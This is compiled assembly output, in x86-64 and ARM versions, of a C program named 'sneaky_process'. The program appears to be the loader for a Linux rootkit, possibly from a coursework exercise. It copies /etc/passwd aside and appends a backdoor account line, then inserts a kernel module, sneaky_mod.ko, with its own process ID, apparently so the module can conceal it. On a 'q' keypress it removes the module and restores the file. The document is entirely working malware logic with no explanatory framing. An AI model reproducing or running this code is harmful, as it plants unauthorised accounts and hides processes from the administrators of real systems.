	.file	"859732.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"sneaky_process pid = %d\n"
.LC1:
	.string	"cp /etc/passwd /tmp/passwd"
	.align 8
.LC2:
	.string	"system() failed: Cannot copy etc/passwd to /tmp/passwd"
	.align 8
.LC3:
	.string	"echo \"sneakyuser:abc123:2000:2000:sneakyuser:/root:bash\" >> /etc/passwd"
	.align 8
.LC4:
	.string	"system() failed: Cannot add a new line to /etc/passwd"
	.align 8
.LC5:
	.string	"insmod sneaky_mod.ko sneaky_pid="
.LC6:
	.string	"%s%d"
	.align 8
.LC7:
	.string	"system() failed: Cannot insmod sneaky_mod.ko"
.LC8:
	.string	"rmmod sneaky_mod.ko"
	.align 8
.LC9:
	.string	"system() failed: Cannot rmmod sneaky_mod.ko"
.LC10:
	.string	"mv /tmp/passwd /etc/passwd"
	.align 8
.LC11:
	.string	"system() failed: Cannot restore /etc/passwd from /tmp/passwd"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 80
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	call	getpid@PLT
	mov	esi, eax
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC1[rip]
	call	system@PLT
	mov	DWORD PTR -68[rbp], eax
	cmp	DWORD PTR -68[rbp], -1
	jne	.L2
	lea	rdi, .LC2[rip]
	call	errorExit
.L2:
	lea	rdi, .LC3[rip]
	call	system@PLT
	mov	DWORD PTR -68[rbp], eax
	cmp	DWORD PTR -68[rbp], -1
	jne	.L3
	lea	rdi, .LC4[rip]
	call	errorExit
.L3:
	lea	rax, -64[rbp]
	mov	edx, 50
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	call	getpid@PLT
	mov	edx, eax
	lea	rax, -64[rbp]
	mov	ecx, edx
	lea	rdx, .LC5[rip]
	lea	rsi, .LC6[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	lea	rax, -64[rbp]
	mov	rdi, rax
	call	system@PLT
	mov	DWORD PTR -68[rbp], eax
	cmp	DWORD PTR -68[rbp], -1
	jne	.L10
	lea	rdi, .LC7[rip]
	call	errorExit
.L10:
	nop
.L5:
	mov	rax, QWORD PTR stdin[rip]
	mov	rdi, rax
	call	fgetc@PLT
	cmp	eax, 113
	jne	.L5
	lea	rdi, .LC8[rip]
	call	system@PLT
	mov	DWORD PTR -68[rbp], eax
	cmp	DWORD PTR -68[rbp], -1
	jne	.L6
	lea	rdi, .LC9[rip]
	call	errorExit
.L6:
	lea	rdi, .LC10[rip]
	call	system@PLT
	mov	DWORD PTR -68[rbp], eax
	cmp	DWORD PTR -68[rbp], -1
	jne	.L7
	lea	rdi, .LC11[rip]
	call	errorExit
.L7:
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L9
	call	__stack_chk_fail@PLT
.L9:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.globl	errorExit
	.type	errorExit, @function
errorExit:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
	.cfi_endproc
.LFE7:
	.size	errorExit, .-errorExit
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"859732.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"sneaky_process pid = %d\012\000"
	.align	2
.LC1:
	.ascii	"cp /etc/passwd /tmp/passwd\000"
	.align	2
.LC2:
	.ascii	"system() failed: Cannot copy etc/passwd to /tmp/pas"
	.ascii	"swd\000"
	.align	2
.LC3:
	.ascii	"echo \"sneakyuser:abc123:2000:2000:sneakyuser:/root"
	.ascii	":bash\" >> /etc/passwd\000"
	.align	2
.LC4:
	.ascii	"system() failed: Cannot add a new line to /etc/pass"
	.ascii	"wd\000"
	.align	2
.LC5:
	.ascii	"insmod sneaky_mod.ko sneaky_pid=\000"
	.align	2
.LC6:
	.ascii	"%s%d\000"
	.align	2
.LC7:
	.ascii	"system() failed: Cannot insmod sneaky_mod.ko\000"
	.align	2
.LC8:
	.ascii	"rmmod sneaky_mod.ko\000"
	.align	2
.LC9:
	.ascii	"system() failed: Cannot rmmod sneaky_mod.ko\000"
	.align	2
.LC10:
	.ascii	"mv /tmp/passwd /etc/passwd\000"
	.align	2
.LC11:
	.ascii	"system() failed: Cannot restore /etc/passwd from /t"
	.ascii	"mp/passwd\000"
	.align	2
.LC12:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 64
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #64
	ldr	r3, .L11
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	bl	getpid
	mov	r3, r0
	mov	r1, r3
	ldr	r0, .L11+4
	bl	printf
	ldr	r0, .L11+8
	bl	system
	str	r0, [fp, #-64]
	ldr	r3, [fp, #-64]
	cmn	r3, #1
	bne	.L2
	ldr	r0, .L11+12
	bl	errorExit
.L2:
	ldr	r0, .L11+16
	bl	system
	str	r0, [fp, #-64]
	ldr	r3, [fp, #-64]
	cmn	r3, #1
	bne	.L3
	ldr	r0, .L11+20
	bl	errorExit
.L3:
	sub	r3, fp, #60
	mov	r2, #50
	mov	r1, #0
	mov	r0, r3
	bl	memset
	bl	getpid
	mov	r3, r0
	sub	r0, fp, #60
	ldr	r2, .L11+24
	ldr	r1, .L11+28
	bl	sprintf
	sub	r3, fp, #60
	mov	r0, r3
	bl	system
	str	r0, [fp, #-64]
	ldr	r3, [fp, #-64]
	cmn	r3, #1
	bne	.L10
	ldr	r0, .L11+32
	bl	errorExit
.L10:
	nop
.L5:
	ldr	r3, .L11+36
	ldr	r3, [r3]
	mov	r0, r3
	bl	fgetc
	mov	r3, r0
	cmp	r3, #113
	bne	.L5
	ldr	r0, .L11+40
	bl	system
	str	r0, [fp, #-64]
	ldr	r3, [fp, #-64]
	cmn	r3, #1
	bne	.L6
	ldr	r0, .L11+44
	bl	errorExit
.L6:
	ldr	r0, .L11+48
	bl	system
	str	r0, [fp, #-64]
	ldr	r3, [fp, #-64]
	cmn	r3, #1
	bne	.L7
	ldr	r0, .L11+52
	bl	errorExit
.L7:
	mov	r3, #0
	ldr	r2, .L11
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L9
	bl	__stack_chk_fail
.L9:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L12:
	.align	2
.L11:
	.word	.LC12
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	stdin
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.size	main, .-main
	.align	2
	.global	errorExit
	.syntax unified
	.arm
	.fpu softvfp
	.type	errorExit, %function
errorExit:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r0, [fp, #-8]
	bl	perror
	mov	r0, #1
	bl	exit
	.size	errorExit, .-errorExit
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
